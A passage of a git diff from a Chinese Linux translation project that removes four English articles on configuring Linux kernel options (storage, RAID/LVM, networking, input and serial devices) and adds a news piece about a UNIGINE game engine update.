原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md b/sources/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md deleted file mode 100644 index 48466d8ff9..0000000000 --- a/sources/The Linux Kernel/17 The Linux Kernel--Configuring the Kernel Part 13.md +++ /dev/null @@ -1,129 +0,0 @@ -17 The Linux Kernel: Configuring the Kernel Part 13 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.555/) - -Aloha! In this next article of the Linux kernel series, we are still configuring ATA devices and we then move on to logical volumes/storage. - -"ATA SFF support (for legacy IDE and PATA)" should be enabled because this extends the abilities of ATA. - -To support Pacific Digital ADMA controllers, enable "Pacific Digital ADMA support". - -"Pacific Digital Serial ATA QStor support" is offered by this next driver. - -Support for the Promise SATA SX4 device is supported by the Linux kernel (Promise SATA SX4 support (Experimental)). - -SFF ATA controllers with BMDMA abilities will need this driver (ATA BMDMA support). BMDMA stands for Bus-Master Direct Memory Access. - -Next, this driver provides support for various Intel SATA and PATA controllers (Intel ESB, ICH, PIIX3, PIIX4 PATA/SATA support). - -Here is another device-specific driver (Calxeda Highbank SATA support) and another (Marvell SATA support) and another (NVIDIA SATA support) and another (Promise SATA TX2/TX4 support) and another (Silicon Image SATA support) and several more (SiS 964/965/966/180 SATA support), (ServerWorks Frodo / Apple K2 SATA support), (ULi Electronics SATA support), (VIA SATA support), . . . .. Because many of the SATA/PATA controllers are designed differently, a generic driver cannot be used on many of these devices. - -Next, ATA devices on PC Cards are supported by this driver unless a device-specific driver manages the hardware (PCMCIA PATA support). - -After that, here is a generic PATA driver that manages all other PATA devices not supported by previously enabled drivers (Generic platform device PATA support). - -The power consumption of PATA devices are managed by this ACPI driver (ACPI firmware driver for PATA). It is highly recommended that ACPI be enabled for all hardware on the system. Although this increases the kernel's size, ACPI is better for performance. - -"Generic ATA support" is offered by this driver. - -Legacy support for ISA, VLB, and PCI bus PATA devices can be added via this driver (Legacy ISA PATA support (Experimental)). This legacy support uses the new ATA layer. - -This set of features contains many abilities for RAID and LVM as seen in the following feature options (Multiple devices driver support (RAID and LVM)). - -INTERESTING FACT: The kernel is written in C and Assembly. - -This driver allows RAID and LVM to be combined (RAID support). This is used to make several LVMs use RAID. Partitions are combined into Logical Block Devices which are then used to form RAID devices. - -Many users will want RAID devices to be detected during booting (Autodetect RAID arrays during kernel boot). If you do not have RAID, then do not enable this feature. Otherwise, the boot process will take a few seconds longer than what it needs to be. - -NOTE: When configuring the Linux kernel, it is best to follow the "use it or lose it" principal. That is, if you will not use it, then disable the feature. - -Hard-drive partitions can be added together using this driver (Linear (append) mode). - -The following driver adds RAID-0 support to logical block devices (RAID-0 (striping) mode). Then, there is (RAID-1 (mirroring) mode), (RAID-10 (mirrored striping) mode), and (RAID-4/RAID-5/RAID-6 mode). - -The MD framework needs multipath support (Multipath I/O support). The MD framework is a Multi Device framework which manages multiple devices as one unit. For example, combining the partitions of many storage units will make multiple devices act as one. The multipath support is for handling a virtual "single device" with many addresses. Because the single storage unit is physically more than one piece of hardware, it will have more than one hardware address. - -These larger multi-disk storage units can be tested for bugs using this debugging driver (Faulty test module for MD). - -The "Device mapper support" is a volume manager that is used to map logical sectors. LVM uses sector mapping. - -The device mapper can have debugging features if enabled (Device mapper debugging support). - -These logical devices can be set to encrypt data if desired (Crypt target support). This feature can allow users to later encrypt such storage devices. - -Snapshots of these logical storage units can only be taken if this feature is enabled (Snapshot target). - -Thin provisioning allows logical volumes to be setup to have more storage capacity than the physical storage units that make up the logical volume (Thin provisioning target). This feature also provides snapshot abilities of such storage. This excess virtual data space cannot immediately be used. The point of it is to allow users to add a physical storage unit in the future and save time configuring the logical block device. - -Thin provisioning can be debugged with this feature (Keep stack trace of thin provisioning block lock holders). - -The performance of block devices can be improved by moving the more commonly used data to the faster storage units (Cache target (EXPERIMENTAL)). - -Volume managers can be made to mirror logical volumes (Mirror target). - -Device-mapper (dm) targets can be made to support the mappings of RAID1, RAID10, RAID4, RAID5 and RAID6 (RAID 1/4/5/6/10 target). - -The device-mapper logs can be mirrored in userspace (Mirror userspace logging). - -A "Zero target" is a device that disregards writes and returns reads as zero. - -Next, volume managers should have multipath support for the hardware (Multipath target). - -This driver finds the most efficient path to storage devices for reads and writes (I/O Path Selector based on the number of in-flight I/Os). - -The next driver is the same as above, but finds the fastest path (I/O Path Selector based on the service time). - -If a physical storage unit on a logical volume is busy, this feature will allow reads/writes to go to another physical volume if possible (I/O delaying target). - -udev can generate events for device-manager actions (DM uevents). udev is a device manager for /dev/. - -To test how software/hardware reacts to logical devices that occasionally fail input/output tasks, enable this debugging feature (Flakey target). - -A logical volume can be created that is a read-only storage unit that validates data for another logical partition (Verity target support). - -NOTE: If you enjoy my articles, click "Like" on my posts if you have a Linux.org account. Also, reshare this article on Google, Twitter, and/or Facebook. - -ConfigFS and the TCM storage engine can be enabled with this setting (Generic Target Core Mod (TCM) and ConfigFS Infrastructure). ConfigFS is a RAM-based filesystem. - -INTERESTING FACT: The Linux kernel does not have a “main()” function. In programs, main() is called by libc which depends on the kernel. The kernel cannot have a main() function because libc would not be able to start the kernel. If the kernel did have a main() function, then we would have a “chicken-or-the-egg” problem – which would come first? Plus, the entry point of the kernel is written in Assembly which does not use the main() function. - -Next, the "TCM/IBLOCK Subsystem Plugin for Linux/BLOCK" can be enabled/disabled. - -Then, the "TCM/FILEIO Subsystem Plugin for Linux/VFS" can be enabled/disabled. - -And again, there are two other TCM features - (TCM/pSCSI Subsystem Plugin for Linux/SCSI) and (TCM Virtual SAS target and Linux/SCSI LDD fabric loopback module). - -The Linux-iSCSI.org iSCSI Target Mode Stack for ConfigFS is provided by this driver (Linux-iSCSI.org iSCSI Target Mode Stack). - -Next, enable/disable the "FireWire SBP-2 fabric module". This allows a computer to connect to another computer and appear to be a hard-drive. - -After that, we can configure "Fusion Message Passing Technology (MPT) device support". - -The first option under that heading is a driver for SCSI support for parallel adapters (Fusion MPT ScsiHost drivers for SPI). - -SCSI can also get support for fiber channel host adapters (Fusion MPT ScsiHost drivers for FC) and/or SAS adapters (Fusion MPT ScsiHost drivers for SAS). - -Next, users can set the "Maximum number of scatter gather entries". A lower number leads to reduced memory consumption per controller instance. - -The next driver offers system ioctl calls to manage MPT adapters (Fusion MPT misc device (ioctl) driver). - -Fiber channel ports can support IP LAN traffic with this driver (Fusion MPT LAN driver). - -I can read your mind – you think there is going to be another article after this. Well, you thought correctly. Keep watching for the next article in this series. - -If you like this article series, please post on Linux.org and/or Google+ telling me how much you like this series and what topics you would like to see covered in future articles. Or, email me (DevynCJohnson@Gmail.com). Mahalo! - -To learn more about the author, check out the links in his signature box below. - -If you have read this article completely, then you should have seen the word "Facebook" three times. If not, you did not read the whole article. - -The word "Facebook" is seen in this paragraph, the paragraph above, and in one of the notes. I bet you read the paragraph above without finishing this article trying to find the third instance of the word. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-13.4714/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md b/sources/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md deleted file mode 100644 index 35664753eb..0000000000 --- a/sources/The Linux Kernel/18 The Linux Kernel--Configuring the Kernel Part 14.md +++ /dev/null @@ -1,118 +0,0 @@ -18 The Linux Kernel: Configuring the Kernel Part 14 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.566/) - -Aloha! Ready for another cool article on the Linux kernel? - -Next, in our long quest, we can enable/disable the "Fusion MPT logging facility". MPT stands for Message Passing Technology. The Fusion driver is made by LSI Logic Corporation. MPT is a specific messaging tactic used between process. This technique is synchronous meaning that process will wait for messages as needed. - -After that, the "FireWire driver stack" should be enabled if the computer possesses FireWire ports. If not, then there is no point in enabling FireWire ports for a device that could not use such drivers. FireWire is a lot like USB. The differences lie in the protocols, speed, and the physical shape and layout of the ports. Generally, Apple devices use FireWire and USB. Some PCs have FireWire ports, but this is less common than USB ports. - -Some FireWire controllers use the OHCI-1394 specification (OHCI-1394 controllers). If so, enable this driver. - -To use FireWire storage devices, enable this next driver (Storage devices (SBP-2 protocol)). This driver provides a protocol that the FireWire storage units use to communicate with the FireWire bus (the card with the attached FireWire ports). Some FireWire scanners also need this driver. - -IPv4 can be used on FireWire ports (IP networking over 1394). IEEE 1394 or simply "1394" is FireWire. Multicasting over FireWire using IPv4 has limitations. - -Nosy is the traffic monitor for FireWire PCILynx cards (Nosy - a FireWire traffic sniffer for PCILynx cards). - -Next, the I2O devices can be supported (I2O device support). Intelligent Input/Output (I2O) bus uses drivers for the hardware and operating system levels. The hardware drivers (HDM) are not specific to any operating system while the OS drivers (OSM) must be used on the intended operating system. The OSM communicates with any of the HDMs. I2O cards/buses have an IOP - Input/Output Processor. This speeds up the system since the main CPU is processing less data. - -Only enable "Enable LCT notification" on systems that lack a SUN I2O controller. I2C SUN firmware does not support LCT notifications. - -The Adaptec I2O controllers need this next driver if RAID is intended (Enable Adaptec extensions). - -Direct memory access of 64-bits can be allowed on Adaptec I2O controllers (Enable 64-bit DMA). - -I2O devices can be configured if permitted (I2O Configuration support). This feature is mainly needed for RAID setup. - -The old Input/Output controls can be enabled for I2O devices (Enable ioctls (OBSOLETE)). - -The OSM software for I2O bus adapters can be enabled (I2O Bus Adapter OSM). This set of OSMs are used to find new I2O devices on the other end of the adapter. - -Next, the OSMs for I2O block devices can be enabled (I2O Block OSM). RAID controllers on I2O hardware will need this OSM. - -The following OSM is for the SCSI or FiberChannel devices on I2O controllers (I2O SCSI OSM). - -Information on I2O devices can be read from /proc/ if enabled (I2O /proc support). - -After the I2O features have been enabled/disabled, we can move on to other kernel abilities. Next, we have "Macintosh device drivers". These are only useful to Apple devices. Linux kernels for PCs should not have any of these features enabled. However, as with many statements there is always an exception. Some PC users may use an Apple mouse, keyboard, and/or some other Apple device. Again, it is best to thoroughly understand the need and use of the kernel being developed. - -Next, we have a driver for networking (Network device support). X11 and other Linux software do not depend on this driver, so if the kernel will not need to connect to another computer, Internet, Intranet, or network, then this can safely be disabled. - -The following driver is like above, but is specific to core drivers (Network core driver support). - -Etherchannels are supported by this driver (Bonding driver support). In networking, bonding is the fusion of two or more Ethernet channels. This is also known as trunking. - -A dummy network can be set up in Linux with this driver (Dummy net driver support). A dummy network is a virtual network that is like the /dev/null of networking. Any data sent to this dummy network is gone forever as it would be going to /dev/null. The IP address is not set. The user can define their networking equivalent of /dev/null. - -Next, EQL can be supported (EQL (serial line load balancing) support). This is needed to allow two computers to communicate via two serial connections that use the SLIP or PPP protocol. - -Fiber Channel is a fast serial protocol for connecting storage devices to computers (Fibre Channel driver support). - -The MII transceiver needs this driver (Generic Media Independent Interface device support). MII is an interface for Ethernet with speeds up to 100Mbit/s. These Ethernet cables are intended for connecting to a PHYceiver which is an Ethernet transceiver. - -To group many Ethernet devices via virtual interfaces, the "Ethernet team driver support" is needed. - -"MAC-VLAN support" permits users to have packet maps between a particular MAC address and a certain interface. - -A tap character device can be made from the MAC-VLAN network interface (MAC-VLAN based tap driver). Tap devices get packets from the kernel so they can be sent elsewhere. - -The next feature allows virtual vxlan interfaces that create Layer 2 networks to be placed above Layer 3 (Virtual eXtensible Local Area Network (VXLAN)). This is commonly used for tunneling to virtual systems. - -Messages that the kernel sends on a network can be logged with this feature (Network console logging support). Only enable this if it is important for you to log the network messages. Disabling this feature will enhance performance. - -This feature allows various parameters to be changed (Dynamic reconfiguration of logging targets). Some of these parameters include port numbers, MAC addresses, IP addresses, and some other settings. - -If user space programs are expected to use TAP devices, then enable this driver that will allow such activity (Universal TUN/TAP device driver support). - -This driver is for local Ethernet tunnels (Virtual ethernet pair device). - -The "Virtio network driver" is used with QEMU, Xen, KVM, and other virtual machines. - -Next, "ARCnet support" can be enabled. ARCnet is a Token-Ring-like Local-Area-Network (LAN) protocol. ARCnet stands for "Attached Resource Computer Network". - -Now, we can move on to "ATM drivers". ATM stands for "Asynchronous Transfer Mode". ATM is used for telecommunications. - -The Marvell Ethernet switch needs this driver (Marvell 88E6060 ethernet switch chip support). Also, the chip for such a switch is also needed depending on the model (Marvell 88E6085/6095/6095F/6131 ethernet switch chip support) and (Marvell 88E6123/6161/6165 ethernet switch chip support). - -Now, we can learn about "Ethernet driver support". - -First, we can enable/disable "3Com devices". This then allows kernel developers to choose which 3Com devices to support. - -The next set of options is for various "Adaptec devices" and then later "Alteon devices". -These are just device/vendor specific drivers. Generally, these drivers are added as modules. - -After those two sets of options, there is a set for "AMD devices" and again for "Atheros devices". - -NOTE: Keep in mind what type of hardware the kernel will run on. For a large variety of devices, it may be best to add these devices as modules. - -There are various other vendor-specific device drivers - "Cadence devices", "Broadcom devices", "Brocade devices", "Chelsio devices", "Cisco devices", and "Digital Equipment devices". Some other device/vendor specific drivers follow. - -The next driver that is not vendor/device specific is "SLIP (serial line) support". This driver supports SLIP and CSLIP. SLIP (Serial Line Internet Protocol) is an Internet protocol for modems and serial ports. PPP is now used instead of SLIP. CSLIP is Compressed SLIP. - -Next, "CSLIP compressed headers" can be enabled which compresses the TCP/IP headers. CSLIP is faster than SLIP, but to be able to use CSLIP, both the transmitting computer and the receiving computer must be able to understand CSLIP. - -When using SLIP on bad analogue lines, then it may be a good idea to enable "Keepalive and linefill" which will help to keep the connection alive. - -For running IP on poor-quality networks or are 7-bit, it may help to enable and use "Six bit SLIP encapsulation". - -Now, we can move on to the popular USB system, but these are the USB drivers for networking. - -The first USB network device to enable/disable is "USB CATC NetMate-based Ethernet device support". This is for 10Mbps USB Ethernet EL1210A chip devices. The USB device will act and appear to be an Ethernet device even though the hardware is USB. - -Next, this driver is the same as above except this is for devices with the KLSI KL5KUSB101B chipset (USB KLSI KL5USB101-based ethernet device support). - -The Pegasus USB devices are USB-to-Ethernet adapters/converters (USB Pegasus/Pegasus-II based ethernet device support). - -Next, there is another USB-to-Ethernet driver (USB RTL8150 based ethernet device support). - -In the next article, we will continue to configure the USB networking system. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-14.4765/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md b/sources/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md deleted file mode 100644 index db7b10af4f..0000000000 --- a/sources/The Linux Kernel/19 The Linux Kernel--Configuring the Kernel Part 15.md +++ /dev/null @@ -1,122 +0,0 @@ -19 The Linux Kernel: Configuring the Kernel Part 15 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.578/) - -Aloha! In this article of the Linux kernel series, we are still configuring drivers for USB networking. Then, we will move on to input devices. - -First, we can enable/disable the "Multi-purpose USB Networking Framework" which allows connecting laptops to desktop systems. - -Next, the ASIX USB-to-Ethernet adapter driver can be enabled/disabled (ASIX AX88xxx Based USB 2.0 Ethernet Adapters). - -Then, there is another ASIX adaptor driver (ASIX AX88179/178A USB 3.0/2.0 to Gigabit Ethernet). - -NOTE: Generally, it is best to add adapter drivers as modules. - -The Communication Device Class specification is offered in the driver (CDC Ethernet support (smart devices such as cable modems)). This specification is for USB modems. The Linux system recognizes this USB networking interface as an Ethernet interface and will be designated as "ethX" where "X" is the Ethernet device number. - -Next is a specification similar to the above (CDC EEM support). CDC EEM stands for Communication Device Class Ethernet Emulation Model. - -The CDC Network Control Model (NCM) also has a driver that offers the specification (CDC NCM support). - -The driver providing the CDC MBIM (Mobile Broadband Interface Model) specification is also available for the Linux kernel (CDC MBIM support). - -Next, there are several vendor/device specific drivers for various USB networking devices and chipsets. - -After those, there is a generic driver for USB network devices that do not require any special drivers (Simple USB Network Links (CDC Ethernet subset)). - -Again, there are some more drivers for device/vendor specific devices. - -FUN FACT: Linux was used to make the special effects for the movie "Titanic" by James Cameron. - -"CDC Phonet support" is for USB Nokia modems that use Phonet. - -Now, we can move on to Wireless LAN drivers which use the 802.11 specification. - -Mainly, there is a list of vendor/device specific drivers. - -"SoftLED Support" controls the LEDs that are associated with the Wifi cards/devices. - -Some chipsets support SDIO as seen by this driver (Atheros ath6kl SDIO support). SDIO is an extension of the Secure Digital specification for wireless SD cards. SDIO stands for Secure Digital Input/Output. - -Kernel developers may also notice that some wireless devices can support QoS. QoS stands for Quality of Service. This feature gives network transmissions priority. Assume two sets of data need to be sent over a network. Only one can go first. QoS will send the most important data first. - -FUN FACT: Technically, Linux is not an operating system. Linux is the kernel while GNU/Linux is the operating system. - -The "Generic HDLC layer" is needed for WAN cards. HDLC stands for High-Level Data Link Control. This is a data link layer protocol. - -Raw HDLC can be used with the "Raw HDLC support" driver enabled. - -The "Raw HDLC Ethernet device support" driver allows the HDLC layer to emulate Ethernet. - - -The cHDLC driver offers a HDLC extension also called Cisco HDLC (Cisco HDLC support). - -The Linux kernel also has a driver for "Frame Relay support" for HDLC. Frame Relay is a Layer 2 protocol. - -HDLC can also support PPP (Synchronous Point-to-Point Protocol (PPP) support) and X.25 (X.25 protocol support). - -Next, this driver offers Frame Relay the ability to use DLCI (Frame Relay DLCI support). - -The "LAPB over Ethernet driver" creates a device file that permits the user to make a LAPB point-to-point connection to another computer via Ethernet. The device file is usually /dev/lapb0 for the first of such device. - -X.25 frames can be sent over telephone lines with this driver (X.25 async driver). Specifically, this driver allows X.25 to use asynchronous serial lines. - -A special driver is needed for ISA SBNI12-xx cards (Granch SBNI12 Leased Line adapter support). These cards are inexpensive substitutes for leased line modems. - -The next driver allows parallel connections to carry scheduled traffic (Multiple line feature support). This allows the Linux system to more efficiently manage parallel connection on SBNI12 adapters. Some Linux users claim this driver doubles their speed. However, I have never tested this to know for myself. - -Next, "IEEE 802.15.4 drivers" can be configured. This is for slow WAN devices. This is a standard that controls the media and physical layers of the wireless network. This specification uses different frequencies in different continents. For example, in Europe, such wireless devices will use the 868.0-868.6MHz frequency. - -The first setting in this category is for a fake LR-WPAN driver (Fake LR-WPAN driver with several interconnected devices). LR-WPAN stand for Low-Rate Wireless Personal Area Network. - -FUN FACT: Only about 2% of the current kernel was written by Linus Torvalds. - -The vmxnet3 virtual Ethernet used by VMware requires this driver (VMware VMXNET3 ethernet driver). When making a kernel for a large number of users, it is best to enable this as a module because someone may want to use the Ethernet on VMware. - -The Hyper-V virtual network needs this driver (Microsoft Hyper-V virtual network driver). You may be wondering if this is the same Hyper-V virtual network by Microsoft. It is and yes, Linux supports Hyper-V. - -The digital telephone service, ISDN, is supported by this driver (ISDN support). ISDN stands for Integrated Services Digital Network. In France, ISDN is known as RNIS which stands for Réseau numérique à intégration de services. With an ISDN adapter, a computer can start and accept voice calls. This allows computers to be used as answering machines or some other telephone service device. ISDN can also carry video information. - -Now, we can move on to input devices (Input device support). These are devices that give the computer information. Mice and keyboards are the most commonly used and known input devices. Scanners are another example of input devices. - -First, there is a driver that supports various haptic/tactile feed-back devices (Support for memoryless force-feedback devices). For instance, many game controllers vibrate which is haptic/tactile feed-back. - -Some input devices check on the status of the hardware (Polled input device skeleton). Such behavior requires this driver. - -Input devices that use sparse keymaps need this driver (Sparse keymap support library). A keymap is the layout information for keyboards. - -Next, this is another keymap (Matrix keymap support library). - -NOTE: When making a kernel for a broad user group, include most or all input devices as modules because the developer usually does not know what type of devices the users may plugin to the computer. - -FUN FACT: A Vanilla Kernel is a Linux kernel in its original, unchanged state. - -The "Mouse interface" makes two different device files for the mouse. The two device files are /dev/input/mouseX and /dev/input/mice. - -This next driver makes a psaux device file that is an alias to /dev/input/mice (Provide legacy /dev/psaux device). The psaux device file is /dev/psaux. - -If the system has a digitizer, then the horizontal resolution needs to be set (Horizontal screen resolution) and then the vertical resolution (Vertical screen resolution). A digitizer is the type of touch-screen that supports touch-pens that allow users to draw. Other touch-screens cannot support such complex input. - -The next driver supports joysticks and gamepads (Joystick interface). This driver creates the /dev/input/jsX files. - -The "Event interface" driver allows input devices to be accessible via /dev/input/eventX. - -The "Event debugging" driver outputs all input events to the system's log. Do not enable this for any reason other than debugging systems. Obviously, for performance reasons, but the main reason I recommend this be disabled is for security purposes. All key-presses are plainly logged including passwords. - -Next, a list of various keyboard drivers are listed for configuration (Keyboards) followed by mouse drivers (Mice) and then joystick/gamepad drivers (Joysticks/Gamepads). - -After that, various drivers for specific tablet hardware/vendors are listed (Tablets). After that is the driver list for "Touchscreens". - -The last set of input device drivers is a list of miscellaneous drivers for specific hardware and vendors (Miscellaneous devices). - -The next article of this series will discuss input ports. Do not forget to read the other articles of this series and this website. Mahalo! - -**NOTE TO FANS: Thank you** for all of your kind emails telling me how much you all love these articles. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-15.4793/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md b/sources/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md deleted file mode 100644 index 5e9c212e00..0000000000 --- a/sources/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md +++ /dev/null @@ -1,118 +0,0 @@ -20 The Linux Kernel: Configuring the Kernel Part 16 -================================================================================ -![](http://www.linux.org/attachments/slide-jpg.587/) - -Welcome to the next Linux kernel article. In this article, we will discuss the input/output ports. - -First, the "i8042 PC Keyboard controller" driver is needed for PS/2 mice and AT keyboards. Before USB, mice and keyboards used PS/2 ports which are circular ports. The AT keyboard is an 84-key IBM keyboard that uses the AT port. The AT port has five pins while the PS/2 port has six pins. - -Input devices that use the COM port (sometime called RS232 serial port) will need this diver (Serial port line discipline). The COM port is a serial port meaning that one bit at a time is transferred. - -The TravelMate notebooks need this special driver to use a mouse attached to the QuickPort (ct82c710 Aux port controller). - -Parallel port adapters for PS/2 mice, AT keyboards, and XT keyboards use this driver (Parallel port keyboard adapter). - -The "PS/2 driver library" is for PS/2 mice and AT keyboards. - -"Raw access to serio ports" can be enabled to allow device files to be used as character devices. - -Next, there is a driver for the "Altera UP PS/2 controller". - -The PS/2 multiplexer also needs a driver (TQC PS/2 multiplexer). - -The ARC FPGA platform needs special driver for PS/2 controllers (ARC PS/2 support). - -NOTE: I want to make it clear that the PS/2 controllers that are discussed in this article are not Sony's game controllers for their PlayStation. This article is discussing the 6-pin mouse/keyboard ports. The controller is the card that holds the PS/2 ports. - -The "Gameport support" driver offers support for the 15-pin gameport. Gameport was the 15-pin port used by many input gaming devices until the invention of the USB port. - -The next driver is for gameports on ISA and PnP bus cards (Classic ISA and PnP gameport support). ISA stands for Industry Standard Architecture and was a parallel bus standard before PCI. PnP stands for Plug-and-Play and was a common standard before ISA. - -"PDPI Lightning 4 gamecard support" provides a driver for a proprietary gamecard with gameports. - -The SoundBlaster Audigy card is a proprietary gameport card (SB Live and Audigy gameport support). - - -The ForteMedia FM801 PCI audio controller has a gameport on the card (ForteMedia FM801 gameport support). This driver only supports the gameport. - -Next, we can move on to "Character devices". Character devices transfer data character by character. - -First, TTY can be enabled or disabled (Enable TTY). Removing TTY will save a lot of space, but TTY is needed for terminals and such. Unless you know what you are doing, do not disabled TTY. - -NOTE TO MY FANS: If you know of a reason for disabling TTY, could you post the answer below and share with us. Mahalo! - -Next, support for "Virtual terminals" can be enabled/disabled. Again, a lot of space can be saved, but virtual terminals are very important. - -This next driver supports font mapping and Unicode translation (Enable character translations in console). This can be used to convert ASCII to Unicode. - -Virtual terminals can be used as system consoles with this driver (Support for console on virtual terminal). A system console manages the logins and kernel messages/warnings. - -Virtual terminals must channel through a console driver to interact with the physical terminal (Support for binding and unbinding console drivers). Before the virtual terminal can do so, the console driver must be loaded. When the virtual terminal is closed, the console terminal must be unloaded. - -The next driver provides support for Unix98 PTY (Unix98 PTY support). This is Unix98 pseudo terminal. - -FUN FACT: The Linux kernel allows a filesystem to be mount many times in many places at once. - -Next, "Support multiple instances of devpts" can be supported. The devpts filesystem is for pseudo-terminal slaves. - -Legacy support for PTY can also be enabled (Legacy (BSD) PTY support). - -The max amount of legacy PTYs in use can be set (Maximum number of legacy PTY in use). - -The next driver can be used to offer support to serial boards that the other drivers fail to support (Non-standard serial port support). - -Next, there are some drivers for specific boards and cards. - -The GSM MUX protocol is supported with this driver (GSM MUX line discipline support (EXPERIMENTAL)). - -The next driver enables the kmem device file (/dev/kmem virtual device support). kmem is usually used for kernel debugging. kmem can be used to read certain kernel variables and states. - -The Stallion cards have many serial ports on them (Stallion multiport serial support). This driver specifically supports this card. - -Next, we can move on to drivers for serial devices. As stated before, serial devices transfer one bit at a time. - -The first driver is for standard serial port support (8250/16550 and compatible serial support). - -Plug-and-Play also exists for serial ports with this driver (8250/16550 PNP device support). - -The following driver allows the serial ports to be used for connecting a terminal to be used as a console (Console on 8250/16550 and compatible serial port). - -Some UART controllers support Direct Memory Access (DMA support for 16550 compatible UART controllers). UART stands for Universal Asynchronous Receiver/Transmitter. UART controllers convert serial to parallel and vice versa. - -Next, this driver offers support for standard PCI serial devices (8250/16550 PCI device support). - -16-bit PCMCIA serial devices are supported by this driver (8250/16550 PCMCIA device support). Remember, PCMCIA is a PC-card that is usually used in laptops. - -The maximum number of supported serial ports can be set (Maximum number of 8250/16550 serial ports) and then the maximum that are registered during boot-up (Number of 8250/16550 serial ports to register at runtime). - -For extended serial abilities like HUB6 support, enable this driver (Extended 8250/16550 serial driver options). - -A special driver is needed to support more than four legacy serial ports (Support more than 4 legacy serial ports). - -Serial interrupts can be shared when this driver is used (Support for sharing serial interrupts). - -Serial port IRQs can be autodetected using this driver (Autodetect IRQ on standard ports). - -RSA serial ports are also supported by the Linux kernel (Support RSA serial ports). RSA stands for Remote Supervisor Adapter. RSA is an IBM-specific hardware. - -Next, there are various vendor/device specific divers. - -This is a TTY driver that uses printk to output user messages (TTY driver to output user messages via printk). Printk (print kernel) is a special piece of software that usually prints the boot-up messages. Any string that is displayed by printk is usually put in the /var/log/messages file. The shell command "dmesg" displays all strings that were used by printk. - -Next, we can enable/disable support for parallel printers (Parallel printer support). - -The next driver allows a printer to be used as a console (Support for console on line printer). This means kernel messages will be literally printed at the printer. Normally when the word "print" was used in this article series, it meant putting data on the screen. This time, this literally means putting the data on paper. - -The following driver makes the device files at /dev/parport/ (Support for user-space parallel port device drivers). This allows some processes to access. - -Again, the Linux kernel has many features and drivers, so we will discuss more drivers in the next article. Mahalo! - -NOTE TO FANS: We are getting close to the end of the configuration process. I still have a list of all of the suggested Linux kernel topics that many of you wanted to know about. Some of the topics include installing the kernel, managing modules, adding 3rd-party drivers, and all of the other very interesting suggestions and requests. - --------------------------------------------------------------------------------- - -via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-16.4835/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md b/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md new file mode 100644 index 0000000000..232ea3a35b --- /dev/null +++ b/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md @@ -0,0 +1,46 @@ +UNIGINE Is Probably the Best Gaming Engine on Linux +================================================================================ +**The UNIGINE, a real-time 3D engine built to run on all major platforms, including Linux, has just received another update, bringing some important new features.** + +![](http://i1-news.softpedia-static.com/images/news2/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484-2.jpg) + +Unigine Engine is built by non-other than Unigine Corp., the company behind the Heaven DX11 Benchmark software. The technology they develop is getting better all the time, and with their recent expansion on the Linux platform, we’re all too glad to see that major updates have been implemented in the engine. + +Amongst the biggest changes in the latest Unigine update is the Common Image Generator Interface (CIGI) protocol. + +According to the developers, this interface is a standard way for a host device to communicate with an image generator (IG) in the simulation industry. + +### Highlights of the new Unigine Engine: ### + +- Support has been added for the conversion of WGS84, ECF and NED coordinate systems into Cartesian one (this will help developers to made better use of real-world GIS data in UNIGINE-powered projects); +- The Game Framework has been implemented, making it easier to create games with features such as automatic link between Entity and Node, automatic link between Level and World, object management for Entities, Global Game context across all Levels, events handling system, optimal updating of Entities, and more; +- The FPS stability for the rendered has been increased; +- Two new options, a 2D noise and 3D noise (States tab in the editor), have been added to the mesh_leaf_base material; +- A new parameter, Occlusion mask, has been added to all of the materials; +- Heights of clutters and grass are synchronized now; +- A few crashes on rendering of non-Flash splash screens have been fixed. + +A complete list of new features, for all the platforms, is available in the official [announcement][1]. + +Keep in mind that the UNIGINE graphics engine is only aimed at commercial enterprises and that not even a trial version is available for the general public. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unigine.com/devlog/2013/11/27/113 +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: 